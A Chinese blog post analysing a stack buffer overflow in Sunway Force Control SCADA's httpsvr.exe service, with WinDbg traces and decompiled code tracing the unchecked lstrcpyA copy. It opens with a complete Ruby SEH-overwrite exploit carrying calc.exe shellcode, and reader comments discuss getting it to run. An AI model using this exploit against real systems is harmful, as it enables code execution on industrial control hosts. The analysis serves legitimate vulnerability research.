作者:k0shl 转载请注明出处:https://whereisk0shl.top
软件下载:
这个软件exploit-db没有提供对应软件下载,可以去http://www.sunwayland.com.cn/官网,或者通过搜索引擎来获取存在漏洞的版本的软件。
PoC:
def send(packet)
begin
sock = TCPSocket.new(@ip, @port)
sock.write(packet)
rescue Exception => e
return false
else
resp = sock.recv(1024)
sock.close
return true
end
end
@ip = ARGV[0]
@port = 80
# windows/exec CMD=calc.exe
shellcode = "\xb8\xd5\x45\x06\xc4\xda\xde\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x33\x31\x43\x12\x03\x43\x12\x83\x3e\xb9\xe4\x31\x3c" +
"\xaa\x60\xb9\xbc\x2b\x13\x33\x59\x1a\x01\x27\x2a\x0f\x95" +
"\x23\x7e\xbc\x5e\x61\x6a\x37\x12\xae\x9d\xf0\x99\x88\x90" +
"\x01\x2c\x15\x7e\xc1\x2e\xe9\x7c\x16\x91\xd0\x4f\x6b\xd0" +
"\x15\xad\x84\x80\xce\xba\x37\x35\x7a\xfe\x8b\x34\xac\x75" +
"\xb3\x4e\xc9\x49\x40\xe5\xd0\x99\xf9\x72\x9a\x01\x71\xdc" +
"\x3b\x30\x56\x3e\x07\x7b\xd3\xf5\xf3\x7a\x35\xc4\xfc\x4d" +
"\x79\x8b\xc2\x62\x74\xd5\x03\x44\x67\xa0\x7f\xb7\x1a\xb3" +
"\xbb\xca\xc0\x36\x5e\x6c\x82\xe1\xba\x8d\x47\x77\x48\x81" +
"\x2c\xf3\x16\x85\xb3\xd0\x2c\xb1\x38\xd7\xe2\x30\x7a\xfc" +
"\x26\x19\xd8\x9d\x7f\xc7\x8f\xa2\x60\xaf\x70\x07\xea\x5d" +
"\x64\x31\xb1\x0b\x7b\xb3\xcf\x72\x7b\xcb\xcf\xd4\x14\xfa" +
"\x44\xbb\x63\x03\x8f\xf8\x9c\x49\x92\xa8\x34\x14\x46\xe9" +
"\x58\xa7\xbc\x2d\x65\x24\x35\xcd\x92\x34\x3c\xc8\xdf\xf2" +
"\xac\xa0\x70\x97\xd2\x17\x70\xb2\xb0\xf6\xe2\x5e\x19\x9d" +
"\x82\xc5\x65"
payload = "H" * 1599
payload << "\xeb\x06\x90\x90" # Pointer to Next SE Handler
payload << [0x719737FA].pack("V*") # SEH Handler - p/p/r
payload << "\x90" * 40
payload << shellcode
payload << "\x90" * (4058 - shellcode.length)
pack = "GET /#{payload} HTTP/1.1\r\n"
pack << "Host: http://#{@ip}:#{@port}\r\n\r\n"
puts "packet sended." if send(pack)
测试环境:
Windows xp sp3
漏洞分析
sunway force control scada是一款工控设施,其httpsrv.exe服务存在一处缓冲区溢出,在接收数据包后,没有对数据包长度进行严格的检查,从而导致在后续操作时,由于进行缓冲区拷贝操作,造成了缓冲区溢出,下面对此漏洞进行详细分析。
首先附加httpsrv.exe的进程,运行PoC,程序崩溃,附加Windbg,到达漏洞现场
0:002> g
(948.944): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e441 ebx=00000001 ecx=01252720 edx=00130000 esi=0012e914 edi=01236ff0
eip=7c80bea9 esp=0012e4c8 ebp=0012e4ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
kernel32!lstrcpyA+0x18:
7c80bea9 8802 mov byte ptr [edx],al ds:0023:00130000=41
通过kb命令查看一下堆栈调用情况,在下方栈空间已经被破坏,可以查看到破坏情况。
0:000> kb
*** WARNING: Unable to verify checksum for C:\Program Files\PCAuto6\httpsvr.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\PCAuto6\httpsvr.exe
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e4ec 0040366e 0012ea84 012511a4 0040aa20 kernel32!lstrcpyA+0x18
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL -
0012e524 73d323bf 01236ff0 00000000 0000ff6a httpsvr+0x366e
0012ec90 41414141 41414141 41414141 41414141 comctl32_5d170000!ImageList_DrawEx+0x5e9
0012ec94 41414141 41414141 41414141 41414141 0x41414141
0012ec98 41414141 41414141 41414141 41414141 0x41414141
0012ec9c 41414141 41414141 41414141 41414141 0x41414141
0012eca0 41414141 41414141 41414141 41414141 0x41414141
0012eca4 41414141 41414141 41414141 41414141 0x41414141
0012eca8 41414141 41414141 41414141 41414141 0x41414141
0012ecac 41414141 41414141 41414141 41414141 0x41414141
0012ecb0 41414141 41414141 41414141 41414141 0x41414141
0012ecb4 41414141 41414141 41414141 41414141 0x41414141
这不重要,来查看一下溢出前的lstrcpy函数调用的上下文。
.text:00403660 loc_403660: ; CODE XREF: .text:004035CCj
.text:00403660 ; DATA XREF: .text:off_40368Co
.text:00403660 mov edx, [eax+0Ch] ; jumptable 004035CC case 4
.text:00403663 mov eax, [esi+20h]
.text:00403666 push edx
.text:00403667 push eax
.text:00403668
.text:00403668 loc_403668: ; CODE XREF: .text:004035DBj
.text:00403668 ; .text:00403625j
.text:00403668 call ds:lstrcpyA
直接跟入当前函数,查看一下函数调用情况。
void __stdcall sub_403590(int a1, _DWORD *a2)
{
int v2; // esi@1
int v3; // eax@2
LPCSTR *v4; // eax@5
LPCSTR *v5; // eax@8
int v6; // [sp+4h] [bp-10h]@1
int v7; // [sp+10h] [bp-4h]@5
v2 = a1;
v6 = 0;
if ( *(_BYTE *)(a1 + 12) & 1 )
{
v3 = *(_DWORD *)(a1 + 44);
switch ( *(_DWORD *)(a1 + 20) )
{
case 0:
case 5:
lstrcpyA(*(LPSTR *)(a1 + 32), *(LPCSTR *)(v3 + 16));
break;
根据上下文可以看出,这里会进入一个switch case的循环语句,在接收到5的时候,会进入lstcpy函数处理,来在这个函数入口下断。
0:002> g
Breakpoint 0 hit
eax=0012e574 ebx=00000001 ecx=01236ff0 edx=0000ff6a esi=0040aa20 edi=01236ff0
eip=00403590 esp=0012e510 ebp=0012e524 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpsvr+0x3590:
00403590 6aff push 0FFFFFFFFh
0:000> dd edi
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL -
01236ff0 0040abf0 00000001 00000000 00000000
01237000 00000000 00000001 00000000 00144018
01237010 000c0212 00000000 00000000 ffff0315
01237020 00000000 00000000 00000000 00000000
01237030 003eff48 003e4240 50800000 00000000
01237040 73ddae00 00157b98 73ddae00 001581a8
01237050 000d008f 010801dc 6d656874 646e7765
01237060 00000000 000c0212 00000001 00010000
接下来会对case=5的情况进行一下判断
0:000> p
eax=0012e5e8 ebx=00000001 ecx=01236ff0 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035bd esp=0012e4fc ebp=0012e524 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpsvr+0x35bd:
004035bd 8b4e14 mov ecx,dword ptr [esi+14h] ds:0023:0012e928=00000000
0:000> p
eax=0012e5e8 ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035c0 esp=0012e4fc ebp=0012e524 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpsvr+0x35c0:
004035c0 8b462c mov eax,dword ptr [esi+2Ch] ds:0023:0012e940=012528e0
0:000> p
eax=012528e0 ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035c3 esp=0012e4fc ebp=0012e524 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpsvr+0x35c3:
004035c3 83f905 cmp ecx,5
这次判断结束后,会进入跳转。
0:000> p
eax=012528e0 ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035c6 esp=0012e4fc ebp=0012e524 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
httpsvr+0x35c6:
004035c6 0f87a2000000 ja httpsvr+0x366e (0040366e) [br=0]
0:000> p
eax=012528e0 ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035cc esp=0012e4fc ebp=0012e524 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
httpsvr+0x35cc:
004035cc ff248d8c364000 jmp dword ptr httpsvr+0x368c (0040368c)[ecx*4] ds:0023:0040368c=004035d3
然后程序就会进入case5流程,会调用lstrcpy,首先会对payload中的url path进行获取,来看一下获取的过程。
0:000> p
eax=012528e0 ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035d3 esp=0012e4fc ebp=0012e524 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
httpsvr+0x35d3:
004035d3 8b4010 mov eax,dword ptr [eax+10h] ds:0023:012528f0=012511ac
0:000> p
eax=012511ac ebx=00000001 ecx=00000000 edx=0000ff6a esi=0012e914 edi=01236ff0
eip=004035d6 esp=0012e4fc ebp=0012e524 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
httpsvr+0x35d6:
004035d6 8b4e20 mov ecx,dword ptr [esi+20h] ds:0023:0012e934=0012ea84
0:000> dc eax
012511ac 4141412f 41414141 41414141 41414141 /AAAAAAAAAAAAAAA
012511bc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
012511cc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
012511dc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
012511ec 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
012511fc 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0125120c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0125121c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
可以看到在这个过程中,没有对字符串进行长度检查,而是直接传入了,接下来调用。
0:002> g
Breakpoint 0 hit
eax=012511ac ebx=00000001 ecx=0012f628 edx=0000ff6a esi=0012f4b8 edi=01236ff0
eip=00403668 esp=0012f098 ebp=0012f0c8 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
httpsvr+0x3668:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
00403668 ff1540a04000 call dword ptr [httpsvr+0xa040 (0040a040)] ds:0023:0040a040={kernel32!lstrcpyA (7c80be91)}
0:000> dd esp
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MFC42.DLL -
0012f098 0012f628 012511ac 0040aa20 00000000
0012f0a8 0012f18c 0040941e ffffffff 73d324a5
0012f0b8 0012f4b8 0012f234 0040aa20 0000bc4e
0012f0c8 0012f0f8 73d323bf 01236ff0 00000000
0012f0d8 0000ff6a 00403590 0012f118 00000026
0012f0e8 00000000 00000000 00080296 00080296
0012f0f8 0012f120 73d32f4d 00000000 0000ff6a
0012f108 0012f118 00000000 01236ff0 0012f198
0:000> dd 012511ac
012511ac 4141412f 41414141 41414141 41414141
012511bc 41414141 41414141 41414141 41414141
012511cc 41414141 41414141 41414141 41414141
012511dc 41414141 41414141 41414141 41414141
012511ec 41414141 41414141 41414141 41414141
012511fc 41414141 41414141 41414141 41414141
0125120c 41414141 41414141 41414141 41414141
总结一下整个过程,在httpsrv.exe接收到payload后并没有进行检查,而是直接作为参数传入,之后会进入一处判断,当满足case 5的情况下,会进入一处lstrcpy处理,实际上这个功能是要负责后续处理url的,而在这个过程会发生栈溢出,从而导致任意代码执行。
这个poc怎么跑起来呢???
@祖国的一块砖 ruby
同问,请问poc怎么跑起来呢?
@baomanyeye ruby
运行的时候报错:
/home/kali/Desktop/test.rb:39:in :incompatible character encodings: UTF-8 and ASCII-8BIT (Encoding::CompatibilityError)
咋办啊,不懂ruby哭死
@W0ngk 试试# encoding: utf-8,声明下编码格式,跟python用法差不多